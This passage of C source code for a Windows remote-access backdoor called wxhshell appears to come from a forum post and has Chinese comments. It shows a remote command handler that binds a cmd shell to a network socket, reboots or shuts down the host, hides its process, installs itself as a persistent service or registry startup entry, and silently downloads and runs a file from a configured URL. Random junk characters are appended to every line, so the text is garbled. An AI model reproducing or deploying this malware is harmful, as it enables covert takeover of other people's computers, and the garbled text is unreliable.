    break; rS&"UH?c7  
  } `m7w%J.>n  
  // 安装 ~H~iKl}|7  
  case 'i': { [,86||^  
    if(Install()) dDxb}d x8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5g\>x;cc  
    else H2 Gj(Nc-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Ta-D++]'  
    break; 2?)8s"Y  
    } pb5q2|u`h  
  // 卸载 2vh@KnNU  
  case 'r': { UZJ<|[  
    if(Uninstall()) (YC{BM}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jWjp0ii  
    else WkUV)/j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = iXHu *g  
    break; wJMk%N~R:  
    } }eq*dr1`  
  // 显示 wxhshell 所在路径 'Tbdo >y  
  case 'p': { T;`2t;  
    char svExeFile[MAX_PATH]; 9^<Y~rkm  
    strcpy(svExeFile,"\n\r"); u|{(m_"H  
      strcat(svExeFile,ExeFile); CEHtr90P  
        send(wsh,svExeFile,strlen(svExeFile),0); B+r$_L&I  
    break; Ehw2o-s^  
    } @/f'i9?oM`  
  // 重启 `%ulorS  
  case 'b': { f@7HVv&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J_`a}ox  
    if(Boot(REBOOT)) U"L 7G$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MR3\7D+9y  
    else { Y6:b  
    closesocket(wsh); \qZ>WCp>r  
    ExitThread(0); J{qsCJiB  
    } pr?k~Bn  
    break; z`esst\aV  
    } rJKac"{  
  // 关机 *VV#o/Q p  
  case 'd': { Ouos f1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #ni:Bwtl{  
    if(Boot(SHUTDOWN)) G5,g$yNs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ytY8`PC  
    else { wT>~7$=L{  
    closesocket(wsh);  U!O"f  
    ExitThread(0); K'\Jnn  
    } R>T9 H0  
    break; CAa&,ZR  
    } j{&$_  
  // 获取shell f~t5[D(\Q,  
  case 's': { $eiW2@  
    CmdShell(wsh); W87kE?,  
    closesocket(wsh); XmAu n  
    ExitThread(0); 4l rKU^-  
    break; VKMgcfbHr/  
  } CEh!X=Nn  
  // 退出 aE 2=  
  case 'x': { 1uco{JX<S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *)D$w_06S  
    CloseIt(wsh); 2|\WaH9P  
    break; O<()T6  
    } \&\U&^?  
  // 离开 D5"Xjo*  
  case 'q': { MN^d28^/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m(KBg'kQ  
    closesocket(wsh); iiLDl  
    WSACleanup(); {M ^5w  
    exit(1); +%=lu14G  
    break; M REB  
        } >UnLq:G  
  } XImX1GH  
  } a^g}Z7D'T  
Mb:>  
  // 提示信息 YkF52_^_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^TEFKx}PX  
} o3cE.YUF  
  } PS$g *x  
0iI|eE o  
  return; tSVU,m  
} !QlCt>{  
9Ecc~'f  
// shell模块句柄 pmc)$3u  
int CmdShell(SOCKET sock) ib%'{?Q.  
{ K1CgM1v  
STARTUPINFO si; w0PAtu  
ZeroMemory(&si,sizeof(si)); oq9gFJG(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &G)/i*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nSp OTQ  
PROCESS_INFORMATION ProcessInfo; _%KRZx}  
char cmdline[]="cmd"; rEwd76?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zx Ak  
  return 0; _[h!r;DsG  
} I<qG{PA  
6 \}.l  
// 自身启动模式 ${{[g16X  
int StartFromService(void) WI1DL&*B@<  
{ snP]&l+  
typedef struct 2(k m]H^  
{ I#/"6%e  
  DWORD ExitStatus; Yy0U2N [i  
  DWORD PebBaseAddress; t1ers> h  
  DWORD AffinityMask; *X uIA-9  
  DWORD BasePriority; 3,0b<vfSv  
  ULONG UniqueProcessId; NtNCt;_R7  
  ULONG InheritedFromUniqueProcessId; d)kOW!5\  
}   PROCESS_BASIC_INFORMATION; d >O/Zal  
89UR w9  
PROCNTQSIP NtQueryInformationProcess; {~`{bnx^]7  
>02p,W6S>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yp]z@SYA@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J"K(nKXO_?  
U>0bgL  
  HANDLE             hProcess; y*!8[wASHq  
  PROCESS_BASIC_INFORMATION pbi; Z5eM  
DfX~}km  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y#FFxSH>  
  if(NULL == hInst ) return 0; %-<6Z9otc  
rP IAu[],g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kf#iF*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7LsVlT[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "dHo6CT,y_  
)cU$I)  
  if (!NtQueryInformationProcess) return 0; w\a6ga!xt"  
S 59^$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tA^CuJR  
  if(!hProcess) return 0; l[^0Ik-G  
Q_`EKz;N{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hjz`0AS  
YB.@zL0.(  
  CloseHandle(hProcess); ee {K5G  
1[!7xA0j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U+[h^M$U  
if(hProcess==NULL) return 0; <vt}+uMzXv  
xy4P_  
HMODULE hMod; 0xH&^Ia1B  
char procName[255]; Y8c,+D,Ww  
unsigned long cbNeeded; "sT)<Wc  
{a ]u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O7m-_#/\   
EFv^uve  
  CloseHandle(hProcess); y"k %Wa`*  
yIg^iZD  
if(strstr(procName,"services")) return 1; // 以服务启动 G +AP."M?  
4m6/ ba  
  return 0; // 注册表启动 =s9*=5r8  
} sF3@7~m4  
e.W<pI,  
// 主模块 , [<$X{9  
int StartWxhshell(LPSTR lpCmdLine) thz[h5C?C  
{ m#<Jr:-  
  SOCKET wsl; eQ*zi9na  
BOOL val=TRUE; gHFQs](G.  
  int port=0; 3R%yKa#  
  struct sockaddr_in door; i:Gyi([C  
~=9S AJr]  
  if(wscfg.ws_autoins) Install(); Qe_C^ (P  
rONz*ly|i  
port=atoi(lpCmdLine); WLiFD.  
N*+WGsxl$z  
if(port<=0) port=wscfg.ws_port; |Xt6`~iC  
_na/&J 6  
  WSADATA data; |l@z7R+4*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WM7LCP  
;U#=H9_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^oR qu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4'td6F  
  door.sin_family = AF_INET; @"H7Q1Hg!*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #kE8EhQZ  
  door.sin_port = htons(port); Gd$!xN %O  
/x<uv_"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DVf}='en8  
closesocket(wsl); 5n1`$T.WG  
return 1; L`(\ud  
} ' H4m"  
yCuLo`  
  if(listen(wsl,2) == INVALID_SOCKET) { @d:GtAW  
closesocket(wsl); Gl"hn  
return 1; KGc!#C  
} Dl,sl>{  
  Wxhshell(wsl); Sj o-Xf}  
  WSACleanup(); lMcO2006L  
@bChJl4  
return 0; v+o6ZNX  
'}:(y$9.`  
} ].sD#~L_  
C-g,uARX(r  
// 以NT服务方式启动 Z<QNzJ D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pH(X;OC 9S  
{ s p+'c;a  
DWORD   status = 0; Jp|eKZ  
  DWORD   specificError = 0xfffffff; %Y,Ru)5}  
8l'W[6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JeF$ W!!{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =uEpeL~d;+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |kD69 }sG  
  serviceStatus.dwWin32ExitCode     = 0; %gWQ}QF  
  serviceStatus.dwServiceSpecificExitCode = 0; YW"uC\kg|  
  serviceStatus.dwCheckPoint       = 0; 'Ydr_Ses  
  serviceStatus.dwWaitHint       = 0; JSID@ n<b?  
*IIA"tC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d c/^  
  if (hServiceStatusHandle==0) return; RJKi98xwJ  
rITA-W O  
status = GetLastError(); /qMiv7m~Q  
  if (status!=NO_ERROR) `jyyRwSoe  
{ Db  !8N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w`fbUh6/  
    serviceStatus.dwCheckPoint       = 0; g<7Aln}Nl\  
    serviceStatus.dwWaitHint       = 0; ia-ht>F*;  
    serviceStatus.dwWin32ExitCode     = status; k~I]Y,  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jfo'iNOu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l]j;0i  
    return; EPR85[k  
  } [Jj@A(Cz  
H@9QEj!Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u,{R,hTDS  
  serviceStatus.dwCheckPoint       = 0; 4S4gK   
  serviceStatus.dwWaitHint       = 0; pjQyN|KS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ><xmw=  
} unKl5A[h  
HXC\``E  
// 处理NT服务事件,比如:启动、停止 [lVfhXc&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <P/odpmc  
{ ;?q}98-2  
switch(fdwControl) 4O.R=c2}7>  
{ PgA1:i&'  
case SERVICE_CONTROL_STOP: 8aKS=(Z!j  
  serviceStatus.dwWin32ExitCode = 0; o7WAH@g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ijvDFyN>  
  serviceStatus.dwCheckPoint   = 0; 9%53 _nx?  
  serviceStatus.dwWaitHint     = 0; s= 5 k7  
  { dQ _4aO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _l1"X^Aa  
  } g-B{K "z  
  return; g^x=y  
case SERVICE_CONTROL_PAUSE: ^2{6W6=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (h@!_qi9:  
  break; /y|ZAN  
case SERVICE_CONTROL_CONTINUE: 7U?#Xi5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cB36w$n8  
  break; "K$c9Z8  
case SERVICE_CONTROL_INTERROGATE: &[ ],rT  
  break; qL`yaU  
}; ZI1*Cb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }fv7WhQ  
} !uO@4]:Y  
~j(vGO3JB  
// 标准应用程序主函数 87W!R<G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uqU&k@  
{ yla- X|>  
t_*x.{x-  
// 获取操作系统版本 {QaO\{J=  
OsIsNt=GetOsVer(); 4; 0#Z^p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !]E ]Xd<  
$ZZ?*I  
  // 从命令行安装 )?7/fF)@|  
  if(strpbrk(lpCmdLine,"iI")) Install(); H1L)9oa  
e|5@7~Vi  
  // 下载执行文件 I/!AjB8W4  
if(wscfg.ws_downexe) { t&F:C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +rA#]#hN  
  WinExec(wscfg.ws_filenam,SW_HIDE); GAZRQ  
} 4;3Vc%  
GB<.kOGQ[  
if(!OsIsNt) { { Ie~MW  
// 如果时win9x,隐藏进程并且设置为注册表启动 Di27=_J  
HideProc(); )UpVGT)  
StartWxhshell(lpCmdLine); Bha("kG  
} x X[WX#'f  
else XjP &  
  if(StartFromService()) /#SfgcDt  
  // 以服务方式启动 9_F&G('V{a  
  StartServiceCtrlDispatcher(DispatchTable); LI25VDZ|iP  
else &BNlMF  
  // 普通方式启动 sD2,!/'  
  StartWxhshell(lpCmdLine); v\MQ?VC  
w{ |`F>f9  
return 0; *s-s1v  
}
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只看该作者 1 发表于: 2006-10-10
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